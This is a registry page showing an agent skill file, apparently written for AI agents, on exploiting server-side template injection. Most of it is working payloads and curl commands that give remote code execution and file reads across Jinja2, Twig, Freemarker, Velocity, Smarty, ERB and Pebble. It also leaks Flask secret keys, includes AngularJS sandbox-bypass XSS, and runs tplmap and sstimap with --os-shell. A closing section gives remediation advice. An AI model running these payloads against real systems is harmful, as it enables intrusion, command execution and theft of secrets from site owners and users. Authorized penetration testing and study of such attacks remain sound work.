ssti
Skill0 starsChanged 32 days agoMITView on GitHub
Detect and exploit server-side template injection (Jinja2, Twig, Freemarker, Velocity) up to remote code execution. Use during an authorized test when input reaches a template engine.
- Reads credentials
- Installs packages
8 other projects use a version of this, 1 of them edited.
Adopted by
Most recently taken up by
- mahumadad/quarrytheir own version, first seen Nov 8, 2026
- SubhiSec/claude-ai-cyber-security-skillstheir own version, first seen Oct 25, 2026
- cdxiaodong/cain-agenttheir own version, first seen Oct 8, 2026
- emre-guler/websectheir own version, first seen Aug 27, 2026
- conjure-3301/skillstheir own version, first seen Aug 17, 2026
- langbyyi/websec-skillstheir own version, first seen Jun 12, 2026
Used with
Projects with it also use open-redirect, xxe and 6 more.
Other files people use alongside this one.
Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
yaklangSkillopen-redirect
Open redirect playbook. Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.
Also in 5 projects that use this
blacklanternsecuritySkillxxe
Guide XML External Entity (XXE) injection exploitation during authorized penetration testing.
Also in 4 projects that use this
langbyyiSkillpath-traversal
Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.
Also in 3 projects that use this
Sorcha-PlatformSkilljwt
Implements JWT Bearer authentication for service-to-service and user authorization. Use when: Configuring authentication, creating authorization policies, issuing/validating tokens, or troubleshooting 401/403 errors.
Also in 3 projects that use this
blacklanternsecuritySkillcsrf
Exploit Cross-Site Request Forgery (CSRF) vulnerabilities during authorized penetration testing.
Also in 3 projects that use this
yaklangSkillprototype-pollution
Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.
Also in 3 projects that use this
- +1 more from blacklanternsecurity
Other versions8 projects use a version of this.
Word for word · 0
None found.
Edited · 1
- sunilgentyala/OmniRed★ 511% same
Wrote their own version · 7
- cdxiaodong/cain-agent★ 953same name
- SubhiSec/claude-ai-cyber-security-skills★ 45same name
- 0xGhostCAT/claude-ai-cyber-security-skills★ 41same name
- langbyyi/websec-skills★ 4same name
- emre-guler/websec★ 2same name
- mahumadad/quarry★ 1same name
- conjure-3301/skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository30 other files it gives its agents.
- aide-fimSkill
- binary-exploitSkill
- bloodhoundSkill
- cis-linux-hardeningSkill
- credential-dump-detectSkill
- deserializationSkill
- dns-enumSkill
- dns-exfil-analysisSkill
- dns-exfil-detectSkill
- docker-forensicsSkill
- docker-hardeningSkill
- hashcatSkill
- internal-pentestSkill
- jwt-attackSkill
- kerberoastingSkill
- lateral-movement-detectSkill
- linux-audit-logsSkill
- nmap-advancedSkill
- privesc-linuxSkill
- race-conditionSkill
- security-headersSkill
- sqli-sqlmapSkill
- ssrfSkill
- subdomain-enumSkill
- suricata-configSkill
- syslog-centralSkill
- wazuh-detectionSkill
- web-pentestSkill
- wireshark-analysisSkill
- xss-testingSkill
The file
We split this skill into the rules it gives an agent
4 rules. 0 are common, 3 are distinctive, and 1 is very specific to this project.
0
Common
Most of the 6 edited versions we read keep these.
3
Distinctive
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 12
When testing error pages, email templates, PDF generators, or report builders that include user-supplied data
- Very specific: line 14
When identifying potential SSTI in parameters that reflect arithmetic results (e.g., {{7*7}} returns 49)
- Distinctive: line 139
Use engine-specific payloads for exploitation.
- Distinctive: line 176
Use automated tools for comprehensive testing and exploitation.
“Common” is measured: kept by at least 6 in 10 of the 6 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Exploiting Template Injection Vulnerabilities
When to Use
- During authorized penetration tests when user input is rendered through a server-side template engine
- When testing error pages, email templates, PDF generators, or report builders that include user-supplied data
- For assessing applications that allow users to customize templates or notification messages
- When identifying potential SSTI in parameters that reflect arithmetic results (e.g.,
{{7*7}}returns49) - During security assessments of CMS platforms, marketing tools, or any application with templating functionality
Prerequisites
- Authorization: Written penetration testing agreement with RCE testing scope
- Burp Suite Professional: For intercepting and modifying template parameters
- tplmap: Automated SSTI exploitation tool (
git clone https://github.com/epinna/tplmap.git) - SSTImap: Modern SSTI scanner (
pip install sstimap) - curl: For manual SSTI payload testing
- Knowledge of template engines: Jinja2, Twig, Freemarker, Velocity, Mako, Pebble, ERB, Smarty
Workflow
Step 1: Identify Template Injection Points
Find parameters where user input is processed by a template engine.
# Inject mathematical expressions to detect template processing
# If the server evaluates the expression, SSTI may be present
# Universal detection payloads
PAYLOADS=(
'{{7*7}}' # Jinja2, Twig
'${7*7}' # Freemarker, Velocity, Spring EL
'#{7*7}' # Thymeleaf, Ruby ERB
'<%= 7*7 %>' # ERB (Ruby), EJS (Node.js)
'{7*7}' # Smarty
'{{= 7*7}}' # doT.js
'${{7*7}}' # AngularJS/Spring
'#set($x=7*7)$x' # Velocity
)
for payload in "${PAYLOADS[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload -> "
curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done
# Check common injection locations:
# - Error pages with reflected input
# - Profile fields (name, bio, signature)
# - Email subject/body templates
# - PDF/report generation with custom fields
# - Search results pages
# - 404 pages reflecting the URL path
# - Notification templatesStep 2: Identify the Template Engine
Determine which template engine is in use to select the appropriate exploitation technique.
# Decision tree for engine identification:
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) or EJS (Node.js)
# Test Jinja2 vs Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig
# Test for Jinja2 specifically
curl -s "https://target.example.com/page?name={{config}}"
# Returns Flask config = Jinja2/Flask
# Test for Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# Returns date/time = Freemarker
# Test for Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# Returns 1 = Velocity
# Test for Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# Returns test = Smarty
# Test for Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# Returns class info = Pebble
# Use tplmap for automated engine detection
python3 tplmap.py -u "https://target.example.com/page?name=test"Step 3: Exploit Jinja2 (Python/Flask)
Achieve code execution through Jinja2 template injection.
# Read configuration
curl -s "https://target.example.com/page?name={{config.items()}}"
# Access secret key
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"
# RCE via Jinja2 - method 1: accessing os module through MRO
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# RCE via Jinja2 - method 2: using cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# RCE via Jinja2 - method 3: using lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# File read via Jinja2
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# Enumerate available subclasses to find useful ones
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"Step 4: Exploit Twig (PHP), Freemarker (Java), and Other Engines
Use engine-specific payloads for exploitation.
# --- Twig (PHP) ---
# RCE via Twig
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"
# Twig file read
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"
# --- Freemarker (Java) ---
# RCE via Freemarker
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"
# Alternative Freemarker RCE
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"
# --- Velocity (Java) ---
# RCE via Velocity
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"
# --- Smarty (PHP) ---
# RCE via Smarty
curl -s "https://target.example.com/page?name={system('id')}"
# --- ERB (Ruby) ---
# RCE via ERB
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"
# --- Pebble (Java) ---
# RCE via Pebble
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"Step 5: Automate with tplmap and SSTImap
Use automated tools for comprehensive testing and exploitation.
# tplmap - Automated SSTI exploitation
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell
# tplmap with POST parameter
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"
# tplmap with custom headers
python3 tplmap.py -u "https://target.example.com/page?name=test" \
-H "Cookie: session=abc123" \
-H "Authorization: Bearer token" \
--os-cmd "whoami"
# SSTImap
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell
# tplmap file read
python3 tplmap.py -u "https://target.example.com/page?name=test" \
--download "/etc/passwd" "/tmp/passwd"
# Burp Intruder approach:
# 1. Send request to Intruder
# 2. Mark the injectable parameter
# 3. Load SSTI payload list
# 4. Grep for indicators: "49", error messages, class namesStep 6: Test Client-Side Template Injection (CSTI)
Assess for Angular/Vue/React expression injection in client-side templates.
# AngularJS expression injection
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"
# AngularJS sandbox bypass (pre-1.6)
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"
# Vue.js expression injection
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"
# Check for AngularJS ng-app on the page
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"
# Test with different CSTI payloads
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
'{{$on.constructor("alert(1)")()}}'; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
echo -n "$payload: "
curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
doneKey Concepts
| Concept | Description |
| SSTI | Server-Side Template Injection - injecting template directives that execute server-side |
| CSTI | Client-Side Template Injection - injecting expressions into AngularJS/Vue templates (leads to XSS) |
| Template Engine | Software that processes template files with placeholders, replacing them with data |
| Sandbox Escape | Bypassing template engine security restrictions to access dangerous functions |
| MRO (Method Resolution Order) | Python class hierarchy traversal used in Jinja2 exploitation |
| Object Introspection | Using __class__, __subclasses__(), __globals__ to navigate Python objects |
| Blind SSTI | Template injection where output is not directly visible, requiring OOB techniques |
Tools & Systems
| Tool | Purpose |
| tplmap | Automated SSTI detection and exploitation with OS shell capability |
| SSTImap | Modern SSTI scanner with support for multiple template engines |
| Burp Suite Professional | Request interception and Intruder for payload fuzzing |
| Hackvertor (Burp Extension) | Payload encoding and transformation for bypass techniques |
| PayloadsAllTheThings | Comprehensive SSTI payload reference on GitHub |
| OWASP ZAP | Automated SSTI detection in active scanning mode |
Common Scenarios
Scenario 1: Flask Email Template Injection
A Flask application lets users customize email notification templates. The custom template is rendered with Jinja2 without sandboxing, allowing RCE through {{config.items()}} and subclass traversal.
Scenario 2: Java CMS Freemarker Injection
A Java-based CMS allows administrators to edit page templates using Freemarker. A lower-privileged editor injects <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} to execute commands.
Scenario 3: Error Page SSTI
A custom 404 error page reflects the requested URL path through a Twig template. Requesting /{{['id']|filter('system')}} causes the server to execute the id command.
Scenario 4: AngularJS Client-Side Injection
A search page renders results using AngularJS with ng-bind-html. Searching for {{constructor.constructor('alert(document.cookie)')()}} achieves XSS through AngularJS expression evaluation.
Output Format
## Template Injection Finding
**Vulnerability**: Server-Side Template Injection (Jinja2) - RCE
**Severity**: Critical (CVSS 9.8)
**Location**: GET /page?name= (name parameter)
**Template Engine**: Jinja2 (Python 3.9 / Flask 2.3)
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Send GET /page?name={{7*7}} - Response contains "49" confirming SSTI
2. Send GET /page?name={{config.SECRET_KEY}} - Returns Flask secret key
3. Send GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. Server returns: uid=33(www-data) gid=33(www-data)
### Confirmed Impact
- Remote code execution as www-data user
- Secret key disclosure: Flask SECRET_KEY exposed
- File system read: /etc/passwd, application source code
- Potential lateral movement to internal network
### Recommendation
1. Never pass user input directly to template render functions
2. Use a sandboxed template environment (Jinja2 SandboxedEnvironment)
3. Implement strict input validation and allowlisting for template variables
4. Use logic-less template engines (Mustache, Handlebars) where possible
5. Apply least-privilege OS permissions for the web application userDoes it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

